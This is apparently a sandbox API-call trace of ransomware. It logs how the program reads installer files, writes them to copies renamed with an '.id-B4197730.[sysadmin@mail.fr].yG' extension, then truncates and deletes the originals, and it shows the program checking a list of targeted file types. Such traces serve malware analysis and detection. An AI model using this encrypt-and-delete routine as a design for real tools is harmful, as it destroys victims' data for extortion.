	[0042.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0042.111] lstrlenW (lpString=".jpg") returned 4
	[0042.111] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.111] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0042.111] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0042.111] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0042.112] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=86284) returned 1
	[0042.112] CloseHandle (hObject=0x340) returned 1
	[0042.112] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80
	[0042.112] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.112] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0042.112] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.112] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.112] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0042.112] GetLastError () returned 0x0
	[0042.112] ReadFile (in: hFile=0x340, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x1510c, lpOverlapped=0x0) returned 1
	[0042.168] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x15110, lpOverlapped=0x0) returned 1
	[0042.169] ReadFile (in: hFile=0x340, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.170] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0042.170] SetEndOfFile (hFile=0x2f4) returned 1
	[0042.170] CloseHandle (hObject=0x2f4) returned 1
	[0042.172] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.172] SetEndOfFile (hFile=0x340) returned 1
	[0042.173] CloseHandle (hObject=0x340) returned 1
	[0042.173] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.173] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1
	[0042.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0042.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0042.174] lstrlenW (lpString=".doc") returned 4
	[0042.174] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.174] lstrlenW (lpString=".docx") returned 5
	[0042.174] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.174] lstrlenW (lpString=".pdf") returned 4
	[0042.174] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.174] lstrlenW (lpString=".xls") returned 4
	[0042.174] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.174] lstrlenW (lpString=".xlsx") returned 5
	[0042.174] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.174] lstrlenW (lpString=".ppt") returned 4
	[0042.174] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0042.174] lstrlenW (lpString=".zip") returned 4
	[0042.174] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.174] lstrlenW (lpString=".rar") returned 4
	[0042.174] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.174] lstrlenW (lpString=".bz2") returned 4
	[0042.174] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.174] lstrlenW (lpString=".7z") returned 3
	[0042.174] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0042.174] lstrlenW (lpString=".dbf") returned 4
	[0042.174] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0042.174] lstrlenW (lpString=".1cd") returned 4
	[0042.174] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0042.175] lstrlenW (lpString=".jpg") returned 4
	[0042.175] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0042.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0042.175] lstrlenW (lpString=".doc") returned 4
	[0042.175] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.175] lstrlenW (lpString=".docx") returned 5
	[0042.175] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.175] lstrlenW (lpString=".pdf") returned 4
	[0042.175] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.175] lstrlenW (lpString=".xls") returned 4
	[0042.175] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.175] lstrlenW (lpString=".xlsx") returned 5
	[0042.175] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.175] lstrlenW (lpString=".ppt") returned 4
	[0042.175] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0042.175] lstrlenW (lpString=".zip") returned 4
	[0042.175] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.175] lstrlenW (lpString=".rar") returned 4
	[0042.175] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.175] lstrlenW (lpString=".bz2") returned 4
	[0042.175] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.175] lstrlenW (lpString=".7z") returned 3
	[0042.175] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0042.175] lstrlenW (lpString=".dbf") returned 4
	[0042.175] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0042.175] lstrlenW (lpString=".1cd") returned 4
	[0042.175] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0042.175] lstrlenW (lpString=".jpg") returned 4
	[0042.175] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.176] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0042.176] lstrlenW (lpString="eula.rtf") returned 8
	[0042.176] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.355] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3188) returned 1
	[0042.355] CloseHandle (hObject=0x2f0) returned 1
	[0042.356] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80
	[0042.356] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.356] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.356] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.356] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.356] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0042.356] GetLastError () returned 0x0
	[0042.356] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xc74, lpOverlapped=0x0) returned 1
	[0042.572] WriteFile (in: hFile=0x2e4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xc80, lpOverlapped=0x0) returned 1
	[0042.573] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.573] WriteFile (in: hFile=0x2e4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0042.573] SetEndOfFile (hFile=0x2e4) returned 1
	[0042.573] CloseHandle (hObject=0x2e4) returned 1
	[0042.576] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.576] SetEndOfFile (hFile=0x2f0) returned 1
	[0042.576] CloseHandle (hObject=0x2f0) returned 1
	[0042.576] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.577] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1
	[0042.577] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0042.577] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0042.577] lstrlenW (lpString=".doc") returned 4
	[0042.577] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.577] lstrlenW (lpString=".docx") returned 5
	[0042.577] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.577] lstrlenW (lpString=".pdf") returned 4
	[0042.577] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.577] lstrlenW (lpString=".xls") returned 4
	[0042.577] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.577] lstrlenW (lpString=".xlsx") returned 5
	[0042.577] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.577] lstrlenW (lpString=".ppt") returned 4
	[0042.577] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.577] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0042.577] lstrlenW (lpString=".zip") returned 4
	[0042.577] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.577] lstrlenW (lpString=".rar") returned 4
	[0042.577] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.577] lstrlenW (lpString=".bz2") returned 4
	[0042.577] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.577] lstrlenW (lpString=".7z") returned 3
	[0042.577] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.577] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0042.577] lstrlenW (lpString=".dbf") returned 4
	[0042.577] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.577] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0042.578] lstrlenW (lpString=".1cd") returned 4
	[0042.578] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.578] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0042.578] lstrlenW (lpString=".jpg") returned 4
	[0042.578] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.578] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0042.578] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0042.578] lstrlenW (lpString=".doc") returned 4
	[0042.578] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.578] lstrlenW (lpString=".docx") returned 5
	[0042.578] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.578] lstrlenW (lpString=".pdf") returned 4
	[0042.578] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.578] lstrlenW (lpString=".xls") returned 4
	[0042.578] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.578] lstrlenW (lpString=".xlsx") returned 5
	[0042.578] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.578] lstrlenW (lpString=".ppt") returned 4
	[0042.578] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.578] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0042.578] lstrlenW (lpString=".zip") returned 4
	[0042.578] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.578] lstrlenW (lpString=".rar") returned 4
	[0042.578] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.578] lstrlenW (lpString=".bz2") returned 4
	[0042.578] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.578] lstrlenW (lpString=".7z") returned 3
	[0042.578] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.578] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0042.578] lstrlenW (lpString=".dbf") returned 4
	[0042.578] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.578] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0042.578] lstrlenW (lpString=".1cd") returned 4
	[0042.578] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.578] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0042.578] lstrlenW (lpString=".jpg") returned 4
	[0042.578] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.579] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0042.579] lstrlenW (lpString="eula.rtf") returned 8
	[0042.579] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.579] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3702) returned 1
	[0042.579] CloseHandle (hObject=0x2f0) returned 1
	[0042.579] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80
	[0042.579] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.579] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.579] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.579] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.579] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0042.579] GetLastError () returned 0x0
	[0042.579] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xe76, lpOverlapped=0x0) returned 1
	[0042.629] WriteFile (in: hFile=0x2e4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe80, lpOverlapped=0x0) returned 1
	[0042.630] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.630] WriteFile (in: hFile=0x2e4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0042.631] SetEndOfFile (hFile=0x2e4) returned 1
	[0042.631] CloseHandle (hObject=0x2e4) returned 1
	[0042.631] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.631] SetEndOfFile (hFile=0x2f0) returned 1
	[0042.632] CloseHandle (hObject=0x2f0) returned 1
	[0042.632] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.632] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1
	[0042.632] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0042.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0042.633] lstrlenW (lpString=".doc") returned 4
	[0042.633] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.633] lstrlenW (lpString=".docx") returned 5
	[0042.633] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.633] lstrlenW (lpString=".pdf") returned 4
	[0042.633] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.633] lstrlenW (lpString=".xls") returned 4
	[0042.633] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.633] lstrlenW (lpString=".xlsx") returned 5
	[0042.633] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.633] lstrlenW (lpString=".ppt") returned 4
	[0042.633] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0042.633] lstrlenW (lpString=".zip") returned 4
	[0042.633] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.633] lstrlenW (lpString=".rar") returned 4
	[0042.633] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.633] lstrlenW (lpString=".bz2") returned 4
	[0042.633] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.633] lstrlenW (lpString=".7z") returned 3
	[0042.633] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0042.633] lstrlenW (lpString=".dbf") returned 4
	[0042.633] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0042.633] lstrlenW (lpString=".1cd") returned 4
	[0042.633] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0042.633] lstrlenW (lpString=".jpg") returned 4
	[0042.633] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0042.633] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0042.633] lstrlenW (lpString=".doc") returned 4
	[0042.633] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.633] lstrlenW (lpString=".docx") returned 5
	[0042.633] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.634] lstrlenW (lpString=".pdf") returned 4
	[0042.634] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.634] lstrlenW (lpString=".xls") returned 4
	[0042.634] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.634] lstrlenW (lpString=".xlsx") returned 5
	[0042.634] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.634] lstrlenW (lpString=".ppt") returned 4
	[0042.634] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0042.634] lstrlenW (lpString=".zip") returned 4
	[0042.634] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.634] lstrlenW (lpString=".rar") returned 4
	[0042.634] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.634] lstrlenW (lpString=".bz2") returned 4
	[0042.634] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.634] lstrlenW (lpString=".7z") returned 3
	[0042.634] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0042.634] lstrlenW (lpString=".dbf") returned 4
	[0042.634] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0042.634] lstrlenW (lpString=".1cd") returned 4
	[0042.634] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0042.634] lstrlenW (lpString=".jpg") returned 4
	[0042.634] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.634] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0042.634] lstrlenW (lpString="eula.rtf") returned 8
	[0042.634] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.635] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3526) returned 1
	[0042.635] CloseHandle (hObject=0x2f0) returned 1
	[0042.635] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80
	[0042.635] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.635] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.635] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.635] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
